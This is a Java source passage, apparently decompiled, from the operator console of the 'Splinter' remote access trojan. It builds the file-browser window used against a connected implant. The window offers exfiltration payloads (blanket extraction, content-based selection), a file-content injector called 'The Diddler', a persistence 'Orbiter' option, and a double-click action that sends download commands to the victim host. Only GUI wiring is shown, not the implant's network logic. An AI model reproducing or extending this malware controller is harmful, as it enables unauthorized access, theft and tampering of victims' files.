public Frame_FileBrowser(Thread_Terminal terminal)
  {
    try
    {
      this.myThread = terminal;
      this.continueRun = false;
      this.myThread.frameFileBrowserIsDisposed = false;

      this.myThread.myFileBrowser = this;
      setTitle("Splinter - RAT vrs 1.41 - BETA         File Browser @" + this.myThread.getRHOST_IP());
      setBounds(500, 100, 860, 740);
      try
      {
        setIconImage(Drivers.imgFrameIcon); } catch (Exception localException1) {
      }
      getContentPane().add(this.jpnlMain);

      this.jlblHeading.setText("File Browser @" + this.myThread.getRHOST_IP());
      this.jpnlOverhead.add("North", this.jlblHeading);
      this.jpnlMain.add("North", this.jpnlOverhead);
      try
      {
        vctJTableColNames.clear();
        vctJTableToolTips.clear();
      }
      catch (Exception localException2) {
      }
      for (int i = 0; i < arrJTableColNames.length; i++)
      {
        vctJTableColNames.add(arrJTableColNames[i]);
        vctJTableToolTips.add(arrJTableColNames[i]);
      }

      this.jtblFileBrowser = new JTable_FileBrowser_Solomon(vctJTableColNames, vctJTableToolTips, "FILE BROWSER - " + this.myThread.getJListData(), Color.blue.darker(), null);

      this.jpnlFileBrowswer.add("Center", this.jtblFileBrowser);

      this.jpnlOptions.setBorder(new TitledBorder(UIManager.getBorder("TitledBorder.border"), "Options", 4, 2, null, new Color(0, 51, 255)));

      this.jpnlOptionsMain.add("Center", this.jpnlOptions);

      this.jpnlFileBrowswer.add("South", this.jpnlOptionsMain);

      this.jpnlOptionsMain.setVisible(false);

      this.jpnlFileName.add("West", this.jlblFileName);

      this.jpnlTextField.add("South", this.jcbFileName);
      this.jpnlFileName.add("Center", this.jpnlTextField);
      this.jlblFileName.setToolTipText("Search the current path for an indicated file name");
      this.jpnlOptions.add(this.jpnlFileName);

      this.jpnlCurrentDirectoryFilter.add("West", this.jlblCurrentDirectoryFilter);
      this.jpnlCurrentDirectoryFilter_JCB_Alignment.add("South", this.jcbCurrentDirectoryFilter);
      this.jpnlCurrentDirectoryFilter.add("Center", this.jpnlCurrentDirectoryFilter_JCB_Alignment);

      this.jpnlOptions.add(this.jpnlCurrentDirectoryFilter);

      this.jpnlShortcuts.add("West", this.jlblShortcuts);
      this.jpnlShortcuts_JCB_Alignment.add("South", this.jcbShortcuts);
      this.jpnlShortcuts.add("Center", this.jpnlShortcuts_JCB_Alignment);
      this.jpnlShortcuts.add("East", this.jbtnExecute);
      this.jpnlOptions.add(this.jpnlShortcuts);

      this.jpnlMainButtons.add(this.jbtnOrbitDirectory);
      this.jpnlMainButtons.add(this.jbtnExfilFilesByType);
      this.jpnlMainButtons.add(this.jbtnExfilAllFiles);

      this.jpnlMainButtons.add(this.jbtnOpen);
      this.jpnlMainButtons.add(this.jbtnCancel);
      this.jpnlOptions.add(this.jpnlMainButtons);

      this.jpnlDataExfiltration.setBorder(new TitledBorder(UIManager.getBorder("TitledBorder.border"), "Data Exfiltration", 4, 2, null, new Color(0, 51, 255)));

      this.jpnlPayloadSelection.setBorder(new TitledBorder(UIManager.getBorder("TitledBorder.border"), "Payload", 2, 2, null, new Color(0, 51, 255)));
      this.btngrp_Payload.add(this.jrbPayload_Extractor);
      this.btngrp_Payload.add(this.jrbPayload_Alerter);
      this.btngrp_Payload.add(this.jrbPayload_Selector);
      this.btngrp_Payload.add(this.jrbPayload_Inspector);
      this.btngrp_Payload.add(this.jrbPayload_Injector);

      this.jpnlPayloadSelection.add(this.jrbPayload_Extractor);
      this.jpnlPayloadSelection.add(this.jrbPayload_Alerter);
      this.jpnlPayloadSelection.add(this.jrbPayload_Selector);
      this.jpnlPayloadSelection.add(this.jrbPayload_Inspector);
      this.jpnlPayloadSelection.add(this.jrbPayload_Injector);

      this.jpnlDataExfiltration.add("Center", this.jpnlPayloadSelection);

      this.jpnlDataExfiltration_WEST.add("Center", this.jpnlDataExfiltration_ContentTypes);
      this.jpnlDataExfiltration_WEST.add("West", this.jpnlDataExfiltration_FileTypes);
      this.jpnlDataExfiltration_WEST.add("East", this.jpnlFolderRecursionSelection);
      this.jpnlDataExfiltration_EAST_MAIN.add("West", this.jpnlDataExfiltration_WEST);

      this.jpnlDataExfiltration_ContentTypes.setBorder(new TitledBorder(UIManager.getBorder("TitledBorder.border"), "Contents", 2, 2, null, new Color(0, 51, 255)));
      this.jpnlDataExfiltration_ContentTypes.add(this.jtfDataExfiltrationContentType);
      this.jtfDataExfiltrationContentType.setText("*.*");
      this.jtfDataExfiltrationContentType.setHorizontalAlignment(0);
      this.jtfDataExfiltrationContentType.addActionListener(this);

      this.jpnlDataExfiltration_FileTypes.setBorder(new TitledBorder(UIManager.getBorder("TitledBorder.border"), "File Types", 2, 2, null, new Color(0, 51, 255)));
      this.jpnlDataExfiltration_FileTypes.add(this.jtfDataExfiltrationFileType);
      this.jtfDataExfiltrationFileType.setText("*.*");
      this.jtfDataExfiltrationFileType.setHorizontalAlignment(0);
      this.jtfDataExfiltrationFileType.addActionListener(this);

      this.jpnlFolderRecursionSelection.setBorder(new TitledBorder(UIManager.getBorder("TitledBorder.border"), "Recurse Sub-Dirs?", 2, 2, null, new Color(0, 51, 255)));
      this.btngrp_FolderRecursion.add(this.folderRecursion_Enabled);
      this.btngrp_FolderRecursion.add(this.folderRecursion_Disabled);

      this.jpnlFolderRecursionSelection.add(this.folderRecursion_Enabled);
      this.jpnlFolderRecursionSelection.add(this.folderRecursion_Disabled);

      this.folderRecursion_Enabled.addActionListener(this);
      this.folderRecursion_Disabled.addActionListener(this);

      this.jpnlFolderRecursionSelection.setToolTipText("If Enabled, specified diretory (top folder) and all sub-folders under top folder will be included in the exploit");
      this.folderRecursion_Enabled.setToolTipText("If Enabled, specified diretory (top folder) and all sub-folders under top folder will be included in the exploit");
      this.folderRecursion_Disabled.setToolTipText("If Enabled, specified diretory (top folder) and all sub-folders under top folder will be included in the exploit");

      this.jpnlDataExfiltration.add("East", this.jpnlDataExfiltration_EAST_MAIN);

      this.jpnlDataExfiltration_EAST_MAIN.add("East", this.jpnlDataExfiltration_EAST);
      this.jpnlDataExfiltration_EAST.add("West", this.jpnlOrbiterOptionSelection);
      this.jpnlDataExfiltration_EAST.add("East", this.jpnlExfiltrationAction);

      this.jpnlOrbiterOptionSelection.setBorder(new TitledBorder(UIManager.getBorder("TitledBorder.border"), "Enable Orbiter?", 2, 2, null, new Color(0, 51, 255)));
      this.btngrp_Orbiter.add(this.jrbOrbiter_Enabled);
      this.btngrp_Orbiter.add(this.jrbOrbiter_Disabled);

      this.jpnlOrbiterOptionSelection.add(this.jrbOrbiter_Enabled);
      this.jpnlOrbiterOptionSelection.add(this.jrbOrbiter_Disabled);

      this.jpnlOrbiterOptionSelection.setToolTipText("If Enabled, this payload will loiter the specified directory to maintain exploit indefinitely");
      this.jrbOrbiter_Enabled.setToolTipText("If Enabled, this payload will loiter the specified directory to maintain exploit indefinitely");
      this.jrbOrbiter_Disabled.setToolTipText("If Enabled, this payload will loiter the specified directory to maintain exploit indefinitely");

      this.jpnlExfiltrationAction.setBorder(new TitledBorder(UIManager.getBorder("TitledBorder.border"), "Action", 2, 2, null, new Color(0, 51, 255)));
      this.jpnlExfiltrationAction.add(this.jbtnExecute_Exfiltration);

      this.jpnlOptionsMain.add("North", this.jpnlDataExfiltration);

      this.jrbPayload_Extractor.addActionListener(this);
      this.jrbPayload_Alerter.addActionListener(this);
      this.jrbPayload_Injector.addActionListener(this);
      this.jrbPayload_Inspector.addActionListener(this);
      this.jrbPayload_Selector.addActionListener(this);
      this.jrbOrbiter_Disabled.addActionListener(this);
      this.jrbOrbiter_Enabled.addActionListener(this);
      this.jbtnExecute_Exfiltration.addActionListener(this);
      this.jtfDataExfiltrationFileType.setToolTipText("File Filter Specification");
      this.jpnlDataExfiltration_FileTypes.setToolTipText("File Filter Specification");
      this.jpnlDataExfiltration_ContentTypes.setToolTipText("Content Filter Specification");
      this.jtfDataExfiltrationContentType.setToolTipText("Content Filter Specification");

      this.jrbPayload_Extractor.setToolTipText("<html><b>Blanket File Extraction</b><br> Extract all files (*.*) or files types from specified directory satisfying File Filter Specification</html>");
      this.jrbPayload_Alerter.setToolTipText("<html><b>Silent <u>File</u> Monitor, No Exfil</b><br>Monitor directory for presence of file name(s) satisfying File Filter Specification and provide alert on match (no exfil)</html>");
      this.jrbPayload_Injector.setToolTipText("<html><b>\"<u>The Diddler</u>\"</b><br>Replace contents within files satisfying File Content character sequence specifications with injected character sequence on all specified file types</html>");
      this.jrbPayload_Inspector.setToolTipText("<html><b>Silent <u>Content</u> Monitor, No Exfil</b><br>Inspect indicated files for content annotated in File Content Specification. Provide Alert on match (no exfil)</html>");
      this.jrbPayload_Selector.setToolTipText("<html><b>Content Interrogation First, Select File and Exfiltrate on Match</b><br>Inspect indicated files for content annotated in File Content Specification. Exfiltrate files matching indicated parameters</html>");

      this.jtfDataExfiltrationContentType.setEditable(false);
      this.jtfDataExfiltrationContentType.setBackground(Color.gray.brighter());

      this.jscrlPne_ConsoleOut = new JScrollPane(this.jtxtpne_ConsoleOut);
      this.jpnlConsoleOut_Title.add("Center", this.jscrlPne_ConsoleOut);
      this.jpnlConsoleOut_Title.setBorder(new TitledBorder(UIManager.getBorder("TitledBorder.border"), "Console Out", 4, 2, null, new Color(0, 51, 255)));

      this.jspltPne_Main = new JSplitPane(0, this.jpnlFileBrowswer, this.jpnlConsoleOut_Title);
      this.jspltPne_Main.setOneTouchExpandable(true);
      this.jspltPne_Main.setDividerLocation(600);

      this.jpnlMain.add("North", this.jpnlOverhead);
      this.jpnlMain.add("Center", this.jspltPne_Main);

      this.i_am_connected_to_implant = true;

      this.jtfFileName.setEditable(false);

      this.jbtnCancel.addActionListener(this);
      this.jbtnOrbitDirectory.addActionListener(this);
      this.jbtnExfilFilesByType.addActionListener(this);
      this.jbtnExfilAllFiles.addActionListener(this);
      this.jbtnExecute.addActionListener(this);
      this.jbtnOpen.addActionListener(this);
      this.jtblFileBrowser.jcbFileRoots.addActionListener(this);
      this.jtblFileBrowser.jbtnMoveUpDirectory.addActionListener(this);
      this.jtblFileBrowser.jbtnNewDirectory.addActionListener(this);
      this.jtblFileBrowser.jbtnRefresh.addActionListener(this);
      this.jtblFileBrowser.jbtnSearch.addActionListener(this);
      this.jtblFileBrowser.jbtnShare.addActionListener(this);
      this.jtblFileBrowser.jtfCurrentPath.addActionListener(this);
      this.jtblFileBrowser.jbtnDelete.addActionListener(this);
      this.jcbCurrentDirectoryFilter.addActionListener(this);

      this.jtblFileBrowser.jbtnShare.setEnabled(false);
      this.jtblFileBrowser.jbtnSearch.setEnabled(false);
      this.jtblFileBrowser.jbtnRefresh.setEnabled(false);

      this.continueRun = true;
      this.processUpdateInterrupt = false;
      this.tmrUpdateFileList = new Timer(100, this);
      this.tmrUpdateFileList.start();
    }
    catch (Exception e)
    {
      Driver.eop("Constructor", "Frame_FileBrowser", e, e.getLocalizedMessage(), false);
    }

    this.jtblFileBrowser.jtblMyJTbl.addMouseListener(new MouseAdapter()
    {
      public void mouseClicked(MouseEvent me)
      {
        try
        {
          if (me.getClickCount() == 2)
          {
            if (Frame_FileBrowser.this.attemptJTableLookup)
            {
              Frame_FileBrowser.this.rowClicked_JTable = Frame_FileBrowser.this.jtblFileBrowser.jtblMyJTbl.getSelectedRow();

              Frame_FileBrowser.this.index_fleBrowserObject_in_arraylist = Integer.parseInt((String)Frame_FileBrowser.this.jtblFileBrowser.dfltTblMdl.getValueAt(Frame_FileBrowser.this.rowClicked_JTable, Frame_FileBrowser.this.jtblFileBrowser.myInsertID_ColumnIndex));

              Frame_FileBrowser.this.objFileBrowser_Temp = ((Object_FileBrowser)Frame_FileBrowser.this.alCurrFileList.get(Frame_FileBrowser.this.index_fleBrowserObject_in_arraylist));

              if (Frame_FileBrowser.this.objFileBrowser_Temp.i_am_a_file)
              {
                if (Drivers.jop_Confirm("You selected File:\n" + Frame_FileBrowser.this.objFileBrowser_Temp.myFile_fullPath + "\n\nDo you wish to download this file?", "Download File?") == 0)
                {
                  Frame_FileBrowser.this.myThread.sendCommand_RAW("download\"" + Frame_FileBrowser.this.objFileBrowser_Temp.myFile_fullPath.trim() + "\"");
                }

              }
              else
              {
                Frame_FileBrowser.this.myThread.sendCommand_RAW("[SPLINTER_IMPLANT]%%%%%FILE_BROWSER_MAP_DIRECTORY%%%%%" + Frame_FileBrowser.this.objFileBrowser_Temp.myFile_fullPath);
              }
            }
            else
            {
              Drivers.jop_Warning("Please enter full path in the \"Current Path\" field", "Unable to complete selected action");
            }
          }

        }
        catch (Exception e)
        {
          Frame_FileBrowser.this.attemptJTableLookup = false;
          Drivers.eop("addMouseListener", "Frame_FileBrowser", e, "Perhaps error occurred from the deleted column in the renderer but that is still present in the default table model", false);
        }
      }
    });
    addWindowListener(new WindowAdapter()
    {
      public void windowClosing(WindowEvent e)
      {
        Frame_FileBrowser.this.closeFrame();
      }
    });
  }